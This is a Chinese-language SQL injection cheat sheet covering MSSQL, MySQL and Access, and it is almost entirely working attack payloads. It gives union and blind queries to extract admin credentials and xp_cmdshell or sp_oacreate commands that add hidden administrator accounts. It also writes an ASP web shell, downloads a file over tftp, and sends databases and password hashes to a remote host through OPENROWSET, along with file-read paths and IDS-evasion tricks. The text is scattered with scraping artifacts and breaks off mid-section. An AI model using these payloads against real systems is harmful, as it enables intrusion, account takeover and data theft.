MSSQL 跨庫查詢(臭要飯的!黑夜)
榨干MS SQL最后一滴血
SQL語句參考及記錄集對象詳解
關于SQL Server中存儲過程
利用 mssql backup 創建webshell
SQL_Injection高級應用
跨站式SQL注入(老凱(laokai))
怪異的SQL注入(AMANL)
SQL Server應用程序中的高級SQL注入(翻譯:青野志狼)
如何利用Sql 注入遍歷目錄
SQL Injection技巧的演練(翻譯人: demonalex)
SQL數據庫的一些攻擊
SQL Injection攻擊技術(JSW)
SQL_Injection高級應用(apachy)
SQL注入的不常見方法(桂林老兵)
Backup a shell
談php+mysql注射語句構造(黑嘿黑·≯Super·Hei)
Advanced SQL Injection with MySQL(angel)
L'injection (My)SQL via PHP
Oracle SQL語言
SQL手工注入大全
前提需要工具:SQL Query Analyzer和SqlExec Sunx Version
==============================================================================================
1.判斷有無注入點
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)
5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)=ab)—猜解用戶帳號的第二位
就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
(1)猜表名
所用語句:
and exists (select * from 表名)
例如:
and exists (select * from admin)
如果頁面回顯正確,則說明我們這里猜的表名是正確的,如果頁面出錯,那么就說明我們這里寫的表名是錯誤
的,那就換一個表名繼續猜,一直到猜中為止。
一般的,常用的表名有admin,manage,user,或者放到工具跑
(2)猜字段
所用語句:
and exists (select 字段名 from 表名)
例如:
and exists (select username from admin)
這里,假設admin表是我上邊猜對了的表,那么我要判斷username字段是否存在,就要使用這條語句,如果頁
面回顯正確,則說明我們這里猜的字段名是正確的,如果頁面出錯,那么就說明我們這里寫的字段名是錯誤的
,那就換一個字段名繼續猜,一直到猜中為止。
一般的,常見的字段名有username,password,user,pass,name,pass,pwd,usr,psd等字段
(3)order by
order by 是為了獲得該頁面上的字段數的總和,為下一步的聯合查詢做準備
(4)聯合查詢(union select)
? 1,如果支持聯合查詢,找出顯示位http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,5,6,7,8,9,10,11
假設顯示位是5,6。我們接下來只需要把管理員的用戶名和密碼對應的字段名替換掉這里顯示位的位置
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 from admin找到后臺登陸
? 2,如果不支持聯合查詢
不可以聯合查詢的情況下拿到管理員的用戶名和密碼- -使用Ascii逐字解碼法
二,
? 利用 order by 判斷表的位數,如果不行就用union select 逐個的排,這里假設是8位
三,
? 用聯合查詢來判斷顯示位
四,
? 利用顯示位找到數據庫名,數據庫版本,5.0以上的可以注入
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c,
version()),8
五,
? 有了數據庫名就開始得到表名schema=后面就是數據庫名稱的HEX值,猜解表名
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
六
? 分析出來的表名,判斷管理員的表name=表名的HEX值,猜解表內的字段
? http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
七,
? 得到了管理員表的字段之后,再來獲取字段的內容
? http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+username,
0x5f,userpwd),8+from+pub_webmaster
八
? 工具掃描后臺:找到后登陸上傳木馬,如果找不到訪問robots.txt文件
九,
? 如果找不到后臺,爆MYSQL管理員的口令
? http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user
十,
? 隨便訪問一個路徑,反饋的是IIS6的404默認頁,說明網站服務器是:Windows+IIS6+php+MySql的環境
? c:\\windows\\system32\\inetsrv\\MetaBase.xml這個路徑就可以獲取網站配置信息了。
? 構造語句http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C
? 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
十一,
? 分析代碼,找后臺地址
? 第一步,我們需要獲得表中字段的長度
使用的語句:
and (select top 1 len(字段名) from 表名)>0
比如:
and (select top 1 len(admin_name) from admin)>0
頁面顯示正常,說明字段admin_name的長度是大于0的,我再提交:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
頁面顯示錯誤說明了字段在0到10之間,用二分法求得長度為5
以同樣的方法判斷出管理員的密碼的字段的長度,我得到的長度為16
? 第二步
判斷出了兩個字段的長度,現在我們進行第二步,截取字段中的某個字符,并得到該字符的ASCII碼,使用的
語句:
and (select top 1 asc(mid(字段名,N,1)) from 表名)>0
我把這句話分開來看,首先,最里邊的mid(username,1,1)函數,這個是截取admin_name字段的第一個字符,N
表示要截取第幾個字符,
然后外邊的asc()函數,這個是將mid函數截取到的字符轉換成ASCII碼,最外邊的top 1,表示返回字段中的第
一條記錄,然后,
最后邊的“>0”,是將這個轉換出的ASCII碼與這個數字相比較,通過不斷變換最后的這個數值,最終得出截
取到的這個字符的具體的
ASCII碼
提交:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30
頁面顯示正常,說明這個字符的ASCII碼是大于30的。
提交:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90
頁面顯示正常,說明這個字符的ASCII碼是大于90的。
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97
最終我得出的這個字符的ASCII碼是97
對照一下ASCII表:
可以得出第一個字符是“a”。
然后我再來判斷第二個字符的ASCII碼。
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90
頁面顯示正常,說明該字符的ASCII碼是大于90的,一直換最后的這個數值
同樣的方法得出管理員的密碼了,我最終得出的結果為:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) –
這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把后面的數字換成中文的 ASSIC碼就OK.最后把結果再
轉換成字符.
group by users.id having 1=1–www.myhack58.com
group by users.id, users.username, users.password, users.privs having 1=1–
; insert into users values( 666, attacker, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where
TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN
(login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank>_name FROM logintable-
UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–
看_blank>服務器打的補丁=出錯了打了SP4補丁黑吧安全網
and 1=(select @@VERSION)–
看_blank>數據庫連接賬號的權限,返回正常,證明是 _blank>服務器角色sysadmin權限。
and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–
判斷連接_blank>數據庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA)
and sa=(Select System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–
看xp_blank>_cmdshell是否刪除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell被刪除,恢復,支持絕對路徑的恢復
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
==============================DB權限暴出網站物理路徑代碼
==========================================================================
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null)-- 創建表
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread
’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’--
將網站目錄插到表字段中
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data]
desc)=0 ’//暴出字段
4、drop table [jm_tmp]-- 刪除此表。
for命令獲取shell
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\其他站路徑
======================load_file() 常用敏感信息===========================================
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是
網頁.而無法查看到代碼.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件
5、c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf? 查看WINDOWS
系統apache文件
6、c:/Resin-3.0.14/conf/resin.conf? 查看jsp開發的網站 resin文件配置信息.
7、c:/Resin/conf/resin.conf? ? ? /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php? phpmyadmin 爆路徑
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf? 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火墻策略
16 、 /usr/local/app/php5 b/php.ini? PHP 的相當設置
17 、/etc/my.cnf? MYSQL的配置文件
18、 /etc/redhat-release? 紅帽子的系統版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼
20、/etc/sysconfig/network-scrip{過濾}ts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關設置
22、/usr/local/app/apache2/conf/extratpd-vhosts.conf //虛擬網站設置
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、/etc/issue 顯示Linux核心的發行版本信息
26、/etc/ftpuser
27、查看LINUX用戶下的操作記錄文件.bash_history 或 .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log? ? ?
/var/log/httpd/error_log? ?
../apache/logs/error.log? ?
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
反向PING自己實驗
;use master;declare @s int;exec sp_blank>_oacreate “wscrip{過濾}t.shell”,@s out;exec
sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–
加帳號
;DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{過濾}t.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
創建一個虛擬目錄E盤:
;declare @o int exec sp_blank>_oacreate wscrip{過濾}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{過濾}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默認Web站點” -v “e”,”e:\”–
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_blank>_oacreate wscrip{過濾}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{過濾}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆庫 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)–
得到庫名(從1到5都是系統的id,6以上才可以判斷)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的_blank>數據庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到
其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假
設為 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 來暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到_blank>密碼。。。。。假設存在 user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id)))
判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT insert into paths(path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image類型的表cmd
1.去掉xp_cmdshell擴展過程的方法是使用如下語句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and
OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
2.添加xp_cmdshell擴展過程的方法是使用如下語句:
(1)SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2)首先在SqlExec Sunx Version的Format選項里填上%s,在CMD選項里輸入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
去除
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
存在xp_blank>_cmdshell的測試過程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帳號
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank>_servicecontrol start, schedule 啟動_blank>服務
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{過濾}t.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{過濾}t.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上傳文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目錄bak.dat
如果被限制則可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec
master.dbo.sp_blank>_addlogin hax)
查詢構造:
Select * FROM news Where id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1)
and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 顯示有一個叫ffff的用戶哈。
and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where
name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where
name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110)
where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的語句是得到_blank>數據庫中的第一個用戶表,并把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個用表叫ad
然后根據表名 ad得到這個表的ID 得到第二個表的名字
insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為access_blank>數據庫
枚舉出數據表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–
這是將第一個表名更新到aaa的字段處。
讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>剛才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and
name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,一個個的讀出,直到沒有為止。
讀字段是這樣:
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名
[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>
你得到的表名 查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and
status>0 and name not in(table1,table2,…)
通過SQLSERVER注入_blank>漏洞建_blank>數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查詢的數據表名),字段列
如:1) [ where 條件]
繞過IDS的檢測[使用變量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 開啟遠程_blank>數據庫
基本語法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
參數: (1) OLEDB Provider name
2、 其中連接字符串參數可以是任何端口用來連接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,
select * from table
3.復制目標主機的整個_blank>數據庫insert所有遠程表到本地表。
基本語法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select
* from table2
這行語句將目標主機上table2表中的所有數據復制到遠程_blank>數據庫中的table1表中。實際運用中適當修
改連接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
復制_blank>數據庫:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table2) select * from database..table2
復制哈西表(HASH)登錄_blank>密碼的hash存儲于sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB,
uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins)
select * from database.dbo.sysxlogins
得到hash之后,就可以進行暴力破解。
遍歷目錄的方法: 先創建一個臨時表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;– 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– 獲得所有子目錄的目錄樹結構,
并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;– 查看某個文件的
內容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{過濾}t C:\Inetpub\Adminscrip{過濾}ts
\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;– (xp_blank>_dirtree適用權限
PUBLIC)
寫入表:
語句1:and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));–
語句2:and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin));–
語句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–
語句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
語句5:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
語句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–
語句7:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
語句8:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
語句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–
把路徑寫到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:\–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
and 0<>(select top 1 paths from dirs1)–
把_blank>數據庫備份到網頁目錄:下載
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T
order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 參看
相關表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscrip{過濾}t.shell example -=-
declare @o int
exec sp_blank>_oacreate wscrip{過濾}t.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{過濾}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scrip{過濾}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{過濾}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscrip{過濾}t.shell”): o.run( request.querystring(“cmd”) ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay
00:00:05–
xp_blank>_dirtree適用權限PUBLIC
exec master.dbo.xp_blank>_dirtree c:返回的信息有兩個字段subdirectory、depth。Subdirectory字段是
字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,這里建的表是和上面 xp_blank>_dirtree相關連,字段相等、類型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:只要我們建表與存儲進程返回的字段相定義相等就能夠
執行!達到寫表的效果,一步步達到我們想要的信息!
這種報錯注入主要基于Mysql數據類型溢出
? ? mysql > SELECT 18446744073709551610 * 2 ;
? ? ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)'
? ? mysql > SELECT - 1 * 9223372036854775808 ;
? ? ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) *
9223372036854775808)'
查詢數據庫版本:
? ? mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610));
? ? ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 'from
Dual), 18446744073709551610.18446744073709551610))'
獲取字段名稱:
